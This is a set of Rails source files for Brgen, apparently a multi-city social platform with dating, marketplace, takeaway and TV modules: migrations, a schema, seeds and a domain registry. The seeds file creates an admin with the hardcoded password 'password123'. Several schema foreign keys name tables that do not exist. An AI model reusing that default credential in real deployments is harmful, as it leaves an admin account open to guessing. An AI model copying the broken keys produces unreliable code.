`rails/brgen/db/migrate/20260528000300_add_delivery_driver_to_takeaway_orders.rb`\n```ruby\n# frozen_string_literal: true\n\nclass AddDeliveryDriverToTakeawayOrders &lt; ActiveRecord::Migration[8.1]\n  def change\n    add_reference :takeaway_orders, :delivery_driver, foreign_key: { to_table: :takeaway_delivery_drivers }, if_not_exists: true\n    add_index :takeaway_orders, %i[delivery_driver_id status], if_not_exists: true\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260529000000_add_marketing_consent_to_email_subscriptions.rb`\n```ruby\n# frozen_string_literal: true\n\nclass AddMarketingConsentToEmailSubscriptions &lt; ActiveRecord::Migration[8.1]\n  def change\n    add_column :email_subscriptions, :agreed_to_marketing, :boolean, default: false, null: false\n    add_column :email_subscriptions, :interests, :text\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260602123000_create_takeaway_reviews.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateTakeawayReviews &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :takeaway_reviews do |t|\n      t.references :user, null: false, foreign_key: true\n      t.references :order, null: false, foreign_key: { to_table: :takeaway_orders }\n      t.references :restaurant, null: false, foreign_key: { to_table: :takeaway_restaurants }\n      t.integer :rating, null: false\n      t.text :body\n      t.decimal :reviewer_lat, precision: 10, scale: 7\n      t.decimal :reviewer_lng, precision: 10, scale: 7\n      t.timestamps\n    end\n\n    add_index :takeaway_reviews, :restaurant_id\n    add_index :takeaway_reviews, [:restaurant_id, :created_at]\n\n    # support hyperlocal by adding location to restaurants (geocode + neighbour radius)\n    add_column :takeaway_restaurants, :latitude, :decimal, precision: 10, scale: 7\n    add_column :takeaway_restaurants, :longitude, :decimal, precision: 10, scale: 7\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260602140000_add_collaborative_to_playlist_playlists.rb`\n```ruby\n# frozen_string_literal: true\n\nclass AddCollaborativeToPlaylistPlaylists &lt; ActiveRecord::Migration[8.1]\n  def change\n    add_column :playlist_playlists, :collaborative, :boolean, null: false, default: false\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260602150000_add_neighborhood_to_dating_profiles.rb`\n```ruby\n# frozen_string_literal: true\n\nclass AddNeighborhoodToDatingProfiles &lt; ActiveRecord::Migration[8.1]\n  def change\n    add_reference :dating_profiles, :neighborhood, foreign_key: true, index: true\n    add_column :dating_profiles, :bydel, :string\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260602160000_create_playlist_dilla_sketches.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreatePlaylistDillaSketches &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :playlist_dilla_sketches do |t|\n      t.references :user, null: false, foreign_key: true\n      t.references :playlist, foreign_key: { to_table: :playlist_playlists }\n      t.references :set, foreign_key: { to_table: :playlist_sets }\n      t.string :name, null: false\n      t.jsonb :state, null: false, default: {}\n      t.text :notes\n      t.timestamps\n    end\n\n    add_index :playlist_dilla_sketches, [:playlist_id, :created_at]\n    add_index :playlist_dilla_sketches, [:set_id, :created_at]\n    add_index :playlist_dilla_sketches, :user_id\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260602170000_add_thread_summary_to_comments.rb`\n```ruby\n# frozen_string_literal: true\n\nclass AddThreadSummaryToComments &lt; ActiveRecord::Migration[8.1]\n  def change\n    add_column :comments, :thread_summary, :text\n    add_column :comments, :summary_updated_at, :datetime\n  end\nend\n```\n\n## `rails/brgen/db/queue_schema.rb`\n```ruby\n# frozen_string_literal: true\n\n# This file is auto-generated from the current state of the database. Instead\n# of editing this file, please use the migrations feature of Active Record to\n# incrementally modify your database, and then regenerate this schema definition.\n#\n# This file is the source Rails uses to define your schema when running `bin/rails\n# db:schema:load`. When creating a new database, `bin/rails db:schema:load` tends to\n# be faster and is potentially less error prone than running all of your\n# migrations from scratch. Old migrations may fail to apply correctly if those\n# migrations use external dependencies or application code.\n#\n# It's strongly recommended that you check this file into your version control system.\n\nActiveRecord::Schema[8.1].define(version: 0) do\nend\n```\n\n## `rails/brgen/db/schema.rb`\n```ruby\n# frozen_string_literal: true\n\n# This file is auto-generated from the current state of the database. Instead\n# of editing this file, please use the migrations feature of Active Record to\n# incrementally modify your database, and then regenerate this schema definition.\n#\n# This file is the source Rails uses to define your schema when running `bin/rails\n# db:schema:load`. When creating a new database, `bin/rails db:schema:load` tends to\n# be faster and is potentially less error prone than running all of your\n# migrations from scratch. Old migrations may fail to apply correctly if those\n# migrations use external dependencies or application code.\n#\n# It's strongly recommended that you check this file into your version control system.\n\nActiveRecord::Schema[8.1].define(version: 2026_05_17_144635) do\n\n  create_table \"push_subscriptions\", force: :cascade do |t|\n    t.integer \"user_id\", null: false\n    t.text \"endpoint\", null: false\n    t.string \"p256dh\", null: false\n    t.string \"auth\", null: false\n    t.datetime \"created_at\", null: false\n    t.datetime \"updated_at\", null: false\n    t.index [\"user_id\", \"endpoint\"], name: \"index_push_subscriptions_on_user_id_and_endpoint\", unique: true\n  end\n  create_table \"comments\", force: :cascade do |t|\n    t.integer \"commentable_id\", null: false\n    t.string \"commentable_type\", null: false\n    t.text \"content\"\n    t.datetime \"created_at\", null: false\n    t.integer \"parent_id\"\n    t.datetime \"updated_at\", null: false\n    t.integer \"user_id\", null: false\n    t.index [\"commentable_type\", \"commentable_id\"], name: \"index_comments_on_commentable\"\n    t.index [\"user_id\"], name: \"index_comments_on_user_id\"\n  end\n\n  create_table \"communities\", force: :cascade do |t|\n    t.datetime \"created_at\", null: false\n    t.text \"description\"\n    t.string \"name\"\n    t.string \"slug\"\n    t.string \"subdomain\"\n    t.datetime \"updated_at\", null: false\n    t.integer \"user_id\"\n    t.index [\"slug\"], name: \"index_communities_on_slug\", unique: true\n    t.index [\"subdomain\"], name: \"index_communities_on_subdomain\", unique: true\n  end\n\n  create_table \"conversation_participants\", force: :cascade do |t|\n    t.integer \"conversation_id\", null: false\n    t.datetime \"created_at\", null: false\n    t.datetime \"last_read_at\"\n    t.datetime \"updated_at\", null: false\n    t.integer \"user_id\", null: false\n    t.index [\"conversation_id\"], name: \"index_conversation_participants_on_conversation_id\"\n    t.index [\"user_id\"], name: \"index_conversation_participants_on_user_id\"\n  end\n\n  create_table \"conversations\", force: :cascade do |t|\n    t.string \"conversation_type\"\n    t.datetime \"created_at\", null: false\n    t.string \"name\"\n    t.datetime \"updated_at\", null: false\n  end\n\n  create_table \"dating_dislikes\", force: :cascade do |t|\n    t.datetime \"created_at\", null: false\n    t.integer \"dislikee_id\", null: false\n    t.integer \"disliker_id\", null: false\n    t.datetime \"updated_at\", null: false\n    t.index [\"dislikee_id\"], name: \"index_dating_dislikes_on_dislikee_id\"\n    t.index [\"disliker_id\"], name: \"index_dating_dislikes_on_disliker_id\"\n  end\n\n  create_table \"dating_likes\", force: :cascade do |t|\n    t.datetime \"created_at\", null: false\n    t.integer \"likee_id\", null: false\n    t.integer \"liker_id\", null: false\n    t.datetime \"updated_at\", null: false\n    t.index [\"likee_id\"], name: \"index_dating_likes_on_likee_id\"\n    t.index [\"liker_id\"], name: \"index_dating_likes_on_liker_id\"\n  end\n\n  create_table \"dating_matches\", force: :cascade do |t|\n    t.datetime \"created_at\", null: false\n    t.integer \"initiator_id\", null: false\n    t.integer \"receiver_id\", null: false\n    t.string \"status\"\n    t.datetime \"updated_at\", null: false\n    t.index [\"initiator_id\"], name: \"index_dating_matches_on_initiator_id\"\n    t.index [\"receiver_id\"], name: \"index_dating_matches_on_receiver_id\"\n  end\n\n  create_table \"dating_profiles\", force: :cascade do |t|\n    t.integer \"age\"\n    t.text \"bio\"\n    t.datetime \"created_at\", null: false\n    t.string \"gender\"\n    t.decimal \"latitude\"\n    t.string \"location\"\n    t.decimal \"longitude\"\n    t.string \"looking_for\"\n    t.datetime \"updated_at\", null: false\n    t.integer \"user_id\", null: false\n    t.boolean \"visible\"\n    t.index [\"user_id\"], name: \"index_dating_profiles_on_user_id\"\n  end\n\n  create_table \"follows\", force: :cascade do |t|\n    t.datetime \"created_at\", null: false\n    t.integer \"followed_id\"\n    t.integer \"follower_id\"\n    t.datetime \"updated_at\", null: false\n    t.index [\"followed_id\"], name: \"index_follows_on_followed_id\"\n    t.index [\"follower_id\"], name: \"index_follows_on_follower_id\"\n  end\n\n  create_table \"hashtags\", force: :cascade do |t|\n    t.datetime \"created_at\", null: false\n    t.string \"name\"\n    t.datetime \"updated_at\", null: false\n    t.integer \"usage_count\"\n    t.index [\"name\"], name: \"index_hashtags_on_name\", unique: true\n  end\n\n  create_table \"marketplace_categories\", force: :cascade do |t|\n    t.datetime \"created_at\", null: false\n    t.string \"name\"\n    t.integer \"parent_id\"\n    t.string \"slug\"\n    t.datetime \"updated_at\", null: false\n  end\n\n  create_table \"marketplace_listings\", force: :cascade do |t|\n    t.integer \"category_id\", null: false\n    t.string \"condition\"\n    t.datetime \"created_at\", null: false\n    t.string \"currency\"\n    t.text \"description\"\n    t.string \"location\"\n    t.integer \"price_cents\"\n    t.string \"status\"\n    t.string \"title\"\n    t.datetime \"updated_at\", null: false\n    t.integer \"user_id\", null: false\n    t.integer \"views_count\"\n    t.index [\"category_id\"], name: \"index_marketplace_listings_on_category_id\"\n    t.index [\"user_id\"], name: \"index_marketplace_listings_on_user_id\"\n  end\n\n  create_table \"marketplace_orders\", force: :cascade do |t|\n    t.integer \"buyer_id\", null: false\n    t.datetime \"created_at\", null: false\n    t.integer \"listing_id\", null: false\n    t.text \"message\"\n    t.integer \"price_cents\"\n    t.string \"status\"\n    t.datetime \"updated_at\", null: false\n    t.index [\"buyer_id\"], name: \"index_marketplace_orders_on_buyer_id\"\n    t.index [\"listing_id\"], name: \"index_marketplace_orders_on_listing_id\"\n  end\n\n  create_table \"mentions\", force: :cascade do |t|\n    t.datetime \"created_at\", null: false\n    t.integer \"mentionable_id\", null: false\n    t.string \"mentionable_type\", null: false\n    t.integer \"mentioned_user_id\", null: false\n    t.datetime \"updated_at\", null: false\n    t.index [\"mentionable_type\", \"mentionable_id\"], name: \"index_mentions_on_mentionable\"\n    t.index [\"mentioned_user_id\"], name: \"index_mentions_on_mentioned_user_id\"\n  end\n\n  create_table \"message_receipts\", force: :cascade do |t|\n    t.datetime \"created_at\", null: false\n    t.datetime \"delivered_at\"\n    t.integer \"message_id\", null: false\n    t.datetime \"read_at\"\n    t.datetime \"updated_at\", null: false\n    t.integer \"user_id\", null: false\n    t.index [\"message_id\"], name: \"index_message_receipts_on_message_id\"\n    t.index [\"user_id\"], name: \"index_message_receipts_on_user_id\"\n  end\n\n  create_table \"messages\", force: :cascade do |t|\n    t.text \"content\"\n    t.integer \"conversation_id\", null: false\n    t.datetime \"created_at\", null: false\n    t.datetime \"expires_at\"\n    t.string \"message_type\"\n    t.integer \"sender_id\"\n    t.datetime \"updated_at\", null: false\n    t.index [\"conversation_id\"], name: \"index_messages_on_conversation_id\"\n  end\n\n  create_table \"playlist_listens\", force: :cascade do |t|\n    t.datetime \"created_at\", null: false\n    t.integer \"playlist_track_id\", null: false\n    t.datetime \"updated_at\", null: false\n    t.integer \"user_id\", null: false\n    t.index [\"playlist_track_id\"], name: \"index_playlist_listens_on_playlist_track_id\"\n    t.index [\"user_id\"], name: \"index_playlist_listens_on_user_id\"\n  end\n\n  create_table \"playlist_playlist_tracks\", force: :cascade do |t|\n    t.datetime \"created_at\", null: false\n    t.integer \"playlist_playlist_id\", null: false\n    t.integer \"playlist_track_id\", null: false\n    t.integer \"position\"\n    t.datetime \"updated_at\", null: false\n    t.integer \"user_id\", null: false\n    t.index [\"playlist_playlist_id\"], name: \"index_playlist_playlist_tracks_on_playlist_playlist_id\"\n    t.index [\"playlist_track_id\"], name: \"index_playlist_playlist_tracks_on_playlist_track_id\"\n    t.index [\"user_id\"], name: \"index_playlist_playlist_tracks_on_user_id\"\n  end\n\n  create_table \"playlist_playlists\", force: :cascade do |t|\n    t.datetime \"created_at\", null: false\n    t.text \"description\"\n    t.integer \"likes_count\"\n    t.string \"name\"\n    t.integer \"plays_count\"\n    t.boolean \"public_access\"\n    t.integer \"tracks_count\"\n    t.datetime \"updated_at\", null: false\n    t.integer \"user_id\", null: false\n    t.index [\"user_id\"], name: \"index_playlist_playlists_on_user_id\"\n  end\n\n  create_table \"playlist_tracks\", force: :cascade do |t|\n    t.string \"album\"\n    t.string \"artist\"\n    t.datetime \"created_at\", null: false\n    t.integer \"duration_seconds\"\n    t.string \"genre\"\n    t.string \"source_type\"\n    t.string \"source_url\"\n    t.string \"title\"\n    t.datetime \"updated_at\", null: false\n  end\n\n  create_table \"posts\", force: :cascade do |t|\n    t.boolean \"anonymous\"\n    t.integer \"community_id\", null: false\n    t.text \"content\"\n    t.datetime \"created_at\", null: false\n    t.integer \"karma\"\n    t.string \"title\"\n    t.datetime \"updated_at\", null: false\n    t.integer \"user_id\", null: false\n    t.index [\"community_id\"], name: \"index_posts_on_community_id\"\n    t.index [\"user_id\"], name: \"index_posts_on_user_id\"\n  end\n\n  create_table \"reactions\", force: :cascade do |t|\n    t.datetime \"created_at\", null: false\n    t.string \"kind\"\n    t.integer \"post_id\", null: false\n    t.datetime \"updated_at\", null: false\n    t.integer \"user_id\", null: false\n    t.index [\"post_id\"], name: \"index_reactions_on_post_id\"\n    t.index [\"user_id\"], name: \"index_reactions_on_user_id\"\n  end\n\n  create_table \"sessions\", force: :cascade do |t|\n    t.datetime \"created_at\", null: false\n    t.string \"ip_address\"\n    t.datetime \"updated_at\", null: false\n    t.string \"user_agent\"\n    t.integer \"user_id\", null: false\n    t.index [\"user_id\"], name: \"index_sessions_on_user_id\"\n  end\n\n  create_table \"streams\", force: :cascade do |t|\n    t.string \"content_type\"\n    t.datetime \"created_at\", null: false\n    t.integer \"duration\"\n    t.integer \"post_id\", null: false\n    t.datetime \"updated_at\", null: false\n    t.string \"url\"\n    t.integer \"user_id\", null: false\n    t.index [\"post_id\"], name: \"index_streams_on_post_id\"\n    t.index [\"user_id\"], name: \"index_streams_on_user_id\"\n  end\n\n  create_table \"taggings\", force: :cascade do |t|\n    t.datetime \"created_at\", null: false\n    t.integer \"hashtag_id\", null: false\n    t.integer \"taggable_id\", null: false\n    t.string \"taggable_type\", null: false\n    t.datetime \"updated_at\", null: false\n    t.index [\"hashtag_id\"], name: \"index_taggings_on_hashtag_id\"\n    t.index [\"taggable_type\", \"taggable_id\"], name: \"index_taggings_on_taggable\"\n  end\n\n  create_table \"takeaway_menu_items\", force: :cascade do |t|\n    t.boolean \"available\"\n    t.datetime \"created_at\", null: false\n    t.text \"description\"\n    t.string \"name\"\n    t.integer \"price_cents\"\n    t.integer \"restaurant_id\", null: false\n    t.datetime \"updated_at\", null: false\n    t.boolean \"vegan\"\n    t.boolean \"vegetarian\"\n    t.index [\"restaurant_id\"], name: \"index_takeaway_menu_items_on_restaurant_id\"\n  end\n\n  create_table \"takeaway_order_items\", force: :cascade do |t|\n    t.datetime \"created_at\", null: false\n    t.integer \"menu_item_id\", null: false\n    t.integer \"order_id\", null: false\n    t.integer \"quantity\"\n    t.integer \"unit_price_cents\"\n    t.datetime \"updated_at\", null: false\n    t.index [\"menu_item_id\"], name: \"index_takeaway_order_items_on_menu_item_id\"\n    t.index [\"order_id\"], name: \"index_takeaway_order_items_on_order_id\"\n  end\n\n  create_table \"takeaway_orders\", force: :cascade do |t|\n    t.datetime \"created_at\", null: false\n    t.string \"delivery_address\"\n    t.integer \"delivery_fee_cents\"\n    t.integer \"restaurant_id\", null: false\n    t.text \"special_instructions\"\n    t.string \"status\"\n    t.integer \"subtotal_cents\"\n    t.integer \"total_cents\"\n    t.datetime \"updated_at\", null: false\n    t.integer \"user_id\", null: false\n    t.index [\"restaurant_id\"], name: \"index_takeaway_orders_on_restaurant_id\"\n    t.index [\"user_id\"], name: \"index_takeaway_orders_on_user_id\"\n  end\n\n  create_table \"takeaway_restaurants\", force: :cascade do |t|\n    t.boolean \"active\"\n    t.string \"address\"\n    t.string \"city\"\n    t.datetime \"created_at\", null: false\n    t.string \"cuisine_type\"\n    t.integer \"delivery_fee_cents\"\n    t.text \"description\"\n    t.integer \"min_order_cents\"\n    t.string \"name\"\n    t.string \"phone\"\n    t.decimal \"rating\"\n    t.integer \"reviews_count\"\n    t.datetime \"updated_at\", null: false\n    t.integer \"user_id\", null: false\n    t.index [\"user_id\"], name: \"index_takeaway_restaurants_on_user_id\"\n  end\n\n  create_table \"tv_broadcasts\", force: :cascade do |t|\n    t.datetime \"created_at\", null: false\n    t.text \"description\"\n    t.datetime \"ended_at\"\n    t.datetime \"started_at\"\n    t.string \"status\"\n    t.string \"stream_key\"\n    t.string \"title\"\n    t.integer \"tv_channel_id\", null: false\n    t.datetime \"updated_at\", null: false\n    t.integer \"user_id\", null: false\n    t.integer \"viewer_count\"\n    t.index [\"tv_channel_id\"], name: \"index_tv_broadcasts_on_tv_channel_id\"\n    t.index [\"user_id\"], name: \"index_tv_broadcasts_on_user_id\"\n  end\n\n  create_table \"tv_channels\", force: :cascade do |t|\n    t.datetime \"created_at\", null: false\n    t.text \"description\"\n    t.string \"name\"\n    t.string \"slug\"\n    t.integer \"subscribers_count\"\n    t.integer \"total_views\"\n    t.datetime \"updated_at\", null: false\n    t.integer \"user_id\", null: false\n    t.index [\"user_id\"], name: \"index_tv_channels_on_user_id\"\n  end\n\n  create_table \"tv_subscriptions\", force: :cascade do |t|\n    t.datetime \"created_at\", null: false\n    t.boolean \"notify_on_upload\"\n    t.integer \"tv_channel_id\", null: false\n    t.datetime \"updated_at\", null: false\n    t.integer \"user_id\", null: false\n    t.index [\"tv_channel_id\"], name: \"index_tv_subscriptions_on_tv_channel_id\"\n    t.index [\"user_id\"], name: \"index_tv_subscriptions_on_user_id\"\n  end\n\n  create_table \"tv_videos\", force: :cascade do |t|\n    t.integer \"comments_count\"\n    t.datetime \"created_at\", null: false\n    t.text \"description\"\n    t.integer \"duration_seconds\"\n    t.integer \"likes_count\"\n    t.datetime \"published_at\"\n    t.string \"status\"\n    t.string \"thumbnail_url\"\n    t.string \"title\"\n    t.integer \"tv_channel_id\", null: false\n    t.datetime \"updated_at\", null: false\n    t.integer \"user_id\", null: false\n    t.integer \"views_count\"\n    t.index [\"tv_channel_id\"], name: \"index_tv_videos_on_tv_channel_id\"\n    t.index [\"user_id\"], name: \"index_tv_videos_on_user_id\"\n  end\n\n  create_table \"tv_view_events\", force: :cascade do |t|\n    t.boolean \"completed\"\n    t.datetime \"created_at\", null: false\n    t.integer \"tv_video_id\", null: false\n    t.datetime \"updated_at\", null: false\n    t.integer \"user_id\", null: false\n    t.integer \"watch_time_seconds\"\n    t.index [\"tv_video_id\"], name: \"index_tv_view_events_on_tv_video_id\"\n    t.index [\"user_id\"], name: \"index_tv_view_events_on_user_id\"\n  end\n\n  create_table \"typing_indicators\", force: :cascade do |t|\n    t.integer \"conversation_id\", null: false\n    t.datetime \"created_at\", null: false\n    t.datetime \"expires_at\"\n    t.datetime \"updated_at\", null: false\n    t.integer \"user_id\", null: false\n    t.index [\"conversation_id\"], name: \"index_typing_indicators_on_conversation_id\"\n    t.index [\"user_id\"], name: \"index_typing_indicators_on_user_id\"\n  end\n\n  create_table \"users\", force: :cascade do |t|\n    t.datetime \"created_at\", null: false\n    t.string \"display_name\"\n    t.string \"email_address\", null: false\n    t.boolean \"guest\", default: false, null: false\n    t.integer \"karma\"\n    t.decimal \"latitude\",  precision: 10, scale: 7\n    t.decimal \"longitude\", precision: 10, scale: 7\n    t.datetime \"location_updated_at\"\n    t.string \"password_digest\", null: false\n    t.datetime \"updated_at\", null: false\n    t.string \"username\"\n    t.index [\"email_address\"], name: \"index_users_on_email_address\", unique: true\n  end\n\n  create_table \"votes\", force: :cascade do |t|\n    t.datetime \"created_at\", null: false\n    t.datetime \"updated_at\", null: false\n    t.integer \"user_id\", null: false\n    t.integer \"value\"\n    t.integer \"votable_id\", null: false\n    t.string \"votable_type\", null: false\n    t.index [\"user_id\"], name: \"index_votes_on_user_id\"\n    t.index [\"votable_type\", \"votable_id\"], name: \"index_votes_on_votable\"\n  end\n\n  add_foreign_key \"comments\", \"users\"\n  add_foreign_key \"conversation_participants\", \"conversations\"\n  add_foreign_key \"conversation_participants\", \"users\"\n  add_foreign_key \"dating_dislikes\", \"dislikees\"\n  add_foreign_key \"dating_dislikes\", \"dislikers\"\n  add_foreign_key \"dating_likes\", \"likees\"\n  add_foreign_key \"dating_likes\", \"likers\"\n  add_foreign_key \"dating_matches\", \"initiators\"\n  add_foreign_key \"dating_matches\", \"receivers\"\n  add_foreign_key \"dating_profiles\", \"users\"\n  add_foreign_key \"marketplace_listings\", \"categories\"\n  add_foreign_key \"marketplace_listings\", \"users\"\n  add_foreign_key \"marketplace_orders\", \"buyers\"\n  add_foreign_key \"marketplace_orders\", \"listings\"\n  add_foreign_key \"mentions\", \"users\", column: \"mentioned_user_id\"\n  add_foreign_key \"message_receipts\", \"messages\"\n  add_foreign_key \"message_receipts\", \"users\"\n  add_foreign_key \"messages\", \"conversations\"\n  add_foreign_key \"playlist_listens\", \"playlist_tracks\"\n  add_foreign_key \"playlist_listens\", \"users\"\n  add_foreign_key \"playlist_playlist_tracks\", \"playlist_playlists\"\n  add_foreign_key \"playlist_playlist_tracks\", \"playlist_tracks\"\n  add_foreign_key \"playlist_playlist_tracks\", \"users\"\n  add_foreign_key \"playlist_playlists\", \"users\"\n  add_foreign_key \"posts\", \"communities\"\n  add_foreign_key \"posts\", \"users\"\n  add_foreign_key \"reactions\", \"posts\"\n  add_foreign_key \"reactions\", \"users\"\n  add_foreign_key \"sessions\", \"users\"\n  add_foreign_key \"streams\", \"posts\"\n  add_foreign_key \"streams\", \"users\"\n  add_foreign_key \"taggings\", \"hashtags\"\n  add_foreign_key \"takeaway_menu_items\", \"restaurants\"\n  add_foreign_key \"takeaway_order_items\", \"menu_items\"\n  add_foreign_key \"takeaway_order_items\", \"orders\"\n  add_foreign_key \"takeaway_orders\", \"restaurants\"\n  add_foreign_key \"takeaway_orders\", \"users\"\n  add_foreign_key \"takeaway_restaurants\", \"users\"\n  add_foreign_key \"tv_broadcasts\", \"tv_channels\"\n  add_foreign_key \"tv_broadcasts\", \"users\"\n  add_foreign_key \"tv_channels\", \"users\"\n  add_foreign_key \"tv_subscriptions\", \"tv_channels\"\n  add_foreign_key \"tv_subscriptions\", \"users\"\n  add_foreign_key \"tv_videos\", \"tv_channels\"\n  add_foreign_key \"tv_videos\", \"users\"\n  add_foreign_key \"tv_view_events\", \"tv_videos\"\n  add_foreign_key \"tv_view_events\", \"users\"\n  add_foreign_key \"typing_indicators\", \"conversations\"\n  add_foreign_key \"typing_indicators\", \"users\"\n  add_foreign_key \"votes\", \"users\"\nend\n```\n\n## `rails/brgen/db/seeds.rb`\n```ruby\n# frozen_string_literal: true\n\nadmin = User.find_or_create_by!(email_address: \"admin@brgen.no\") do |u|\n  u.username = \"admin\"\n  u.password = u.password_confirmation = \"password123\"\nend\n\n[\"news\", \"tech\", \"bergen\", \"norge\", \"kultur\"].each do |slug|\n  Community.find_or_create_by!(slug: slug) do |c|\n    c.name        = slug.capitalize\n    c.description = \"#{slug.capitalize} community\"\n    c.user        = admin\n  end\nend\n\nputs \"Seeded #{Community.count} communities, admin id #{admin.id}\"\n```\n\n## `rails/brgen/domains.yml`\n```yaml\nprimary:\n  name: Brgen\n  city: Bergen\n  country: Norway\n  language: nb\n  tld: no\n  domains:\n    core: brgen.no\n    marketplace: markedsplass.brgen.no\n    playlist: spilleliste.brgen.no\n    tv: tv.brgen.no\n    takeaway: takeaway.brgen.no\n```\n\n## `rails/brgen/lib/brgen/city_seed.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Brgen\n  class CitySeed\n    CityRow = Data.define(:domain, :name, :country_code, :locale, :currency, :time_zone, :latitude, :longitude)\n\n    ROWS = [\n      CityRow.new(\"brgen.no\", \"Bergen\", \"NO\", \"nb\", \"NOK\", \"Europe/Oslo\", 60.3913, 5.3221),\n      CityRow.new(\"longyearbyn.no\", \"Longyearbyen\", \"NO\", \"nb\", \"NOK\", \"Arctic/Longyearbyen\", 78.2232, 15.6267),\n      CityRow.new(\"oshlo.no\", \"Oslo\", \"NO\", \"nb\", \"NOK\", \"Europe/Oslo\", 59.9139, 10.7522),\n      CityRow.new(\"stvanger.no\", \"Stavanger\", \"NO\", \"nb\", \"NOK\", \"Europe/Oslo\", 58.9700, 5.7331),\n      CityRow.new(\"trmso.no\", \"Troms\u00f8\", \"NO\", \"nb\", \"NOK\", \"Europe/Oslo\", 69.6492, 18.9553),\n      CityRow.new(\"trndheim.no\", \"Trondheim\", \"NO\", \"nb\", \"NOK\", \"Europe/Oslo\", 63.4305, 10.3951),\n      CityRow.new(\"amstrdam.nl\", \"Amsterdam\", \"NL\", \"nl\", \"EUR\", \"Europe/Amsterdam\", 52.3676, 4.9041),\n      CityRow.new(\"lsangeles.com\", \"Los Angeles\", \"US\", \"en-US\", \"USD\", \"America/Los_Angeles\", 34.0522, -118.2437)\n    ].freeze\n\n    def self.sync!\n      ROWS.each { |row| sync_city(row) }\n    end\n\n    def self.sync_city(row)\n      City.find_or_initialize_by(domain: row.domain).tap do |city|\n        city.country_code = row.country_code\n        city.currency = row.currency\n        city.latitude = row.latitude\n        city.locale = row.locale\n        city.longitude = row.longitude\n        city.name = row.name\n        city.slug = row.name.parameterize\n        city.time_zone = row.time_zone\n        city.save!\n      end\n    end\n  end\nend\n```\n\n## `rails/brgen/lib/brgen/domain_registry.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Brgen\n  class DomainRegistry\n    Entry = Data.define(:domain, :city, :country, :locale, :currency, :marketplace_subdomain)\n    Result = Data.define(:entry, :city_record, :subapp, :host)\n\n    class UnknownHost &lt; StandardError; end\n    class UnknownSubdomain &lt; StandardError; end\n\n    SUBAPP_ALIASES = {\n      \"ai\" =&gt; :ai,\n      \"dating\" =&gt; :dating,\n      \"maps\" =&gt; :maps,\n      \"playlist\" =&gt; :playlist,\n      \"takeaway\" =&gt; :takeaway,\n      \"tv\" =&gt; :tv,\n      \"marche\" =&gt; :marketplace,\n      \"markadur\" =&gt; :marketplace,\n      \"markedsplads\" =&gt; :marketplace,\n      \"markedsplass\" =&gt; :marketplace,\n      \"marketplace\" =&gt; :marketplace,\n      \"markkinapaikka\" =&gt; :marketplace,\n      \"marknadsplats\" =&gt; :marketplace,\n      \"marktplaats\" =&gt; :marketplace,\n      \"marktplatz\" =&gt; :marketplace,\n      \"mercado\" =&gt; :marketplace,\n      \"mercato\" =&gt; :marketplace\n    }.freeze\n\n    LOCAL_HOSTS = [\"127.0.0.1\", \"localhost\"].freeze\n\n    ENTRIES = [\n      Entry.new(\"brgen.no\", \"Bergen\", \"NO\", :nb, \"NOK\", \"markedsplass\"),\n      Entry.new(\"longyearbyn.no\", \"Longyearbyen\", \"NO\", :nb, \"NOK\", \"markedsplass\"),\n      Entry.new(\"oshlo.no\", \"Oslo\", \"NO\", :nb, \"NOK\", \"markedsplass\"),\n      Entry.new(\"stvanger.no\", \"Stavanger\", \"NO\", :nb, \"NOK\", \"markedsplass\"),\n      Entry.new(\"trmso.no\", \"Troms\u00f8\", \"NO\", :nb, \"NOK\", \"markedsplass\"),\n      Entry.new(\"trndheim.no\", \"Trondheim\", \"NO\", :nb, \"NOK\", \"markedsplass\"),\n      Entry.new(\"reykjavk.is\", \"Reykjavik\", \"IS\", :is, \"ISK\", \"markadur\"),\n      Entry.new(\"kbenhvn.dk\", \"K\u00f8benhavn\", \"DK\", :da, \"DKK\", \"markedsplads\"),\n      Entry.new(\"gtebrg.se\", \"G\u00f6teborg\", \"SE\", :sv, \"SEK\", \"marknadsplats\"),\n      Entry.new(\"mlmoe.se\", \"Malm\u00f6\", \"SE\", :sv, \"SEK\", \"marknadsplats\"),\n      Entry.new(\"stholm.se\", \"Stockholm\", \"SE\", :sv, \"SEK\", \"marknadsplats\"),\n      Entry.new(\"hlsinki.fi\", \"Helsinki\", \"FI\", :fi, \"EUR\", \"markkinapaikka\"),\n      Entry.new(\"brmingham.uk\", \"Birmingham\", \"GB\", :\"en-GB\", \"GBP\", \"marketplace\"),\n      Entry.new(\"cardff.uk\", \"Cardiff\", \"GB\", :\"en-GB\", \"GBP\", \"marketplace\"),\n      Entry.new(\"edinbrgh.uk\", \"Edinburgh\", \"GB\", :\"en-GB\", \"GBP\", \"marketplace\"),\n      Entry.new(\"glasgw.uk\", \"Glasgow\", \"GB\", :\"en-GB\", \"GBP\", \"marketplace\"),\n      Entry.new(\"lndon.uk\", \"London\", \"GB\", :\"en-GB\", \"GBP\", \"marketplace\"),\n      Entry.new(\"lverpool.uk\", \"Liverpool\", \"GB\", :\"en-GB\", \"GBP\", \"marketplace\"),\n      Entry.new(\"mnchester.uk\", \"Manchester\", \"GB\", :\"en-GB\", \"GBP\", \"marketplace\"),\n      Entry.new(\"amstrdam.nl\", \"Amsterdam\", \"NL\", :nl, \"EUR\", \"marktplaats\"),\n      Entry.new(\"rottrdam.nl\", \"Rotterdam\", \"NL\", :nl, \"EUR\", \"marktplaats\"),\n      Entry.new(\"utrcht.nl\", \"Utrecht\", \"NL\", :nl, \"EUR\", \"marktplaats\"),\n      Entry.new(\"brssels.be\", \"Brussels\", \"BE\", :\"fr-BE\", \"EUR\", \"marche\"),\n      Entry.new(\"zrich.ch\", \"Z\u00fcrich\", \"CH\", :\"de-CH\", \"CHF\", \"marktplatz\"),\n      Entry.new(\"lchtenstein.li\", \"Liechtenstein\", \"LI\", :\"de-LI\", \"CHF\", \"marktplatz\"),\n      Entry.new(\"frankfrt.de\", \"Frankfurt\", \"DE\", :de, \"EUR\", \"marktplatz\"),\n      Entry.new(\"brdeaux.fr\", \"Bordeaux\", \"FR\", :fr, \"EUR\", \"marche\"),\n    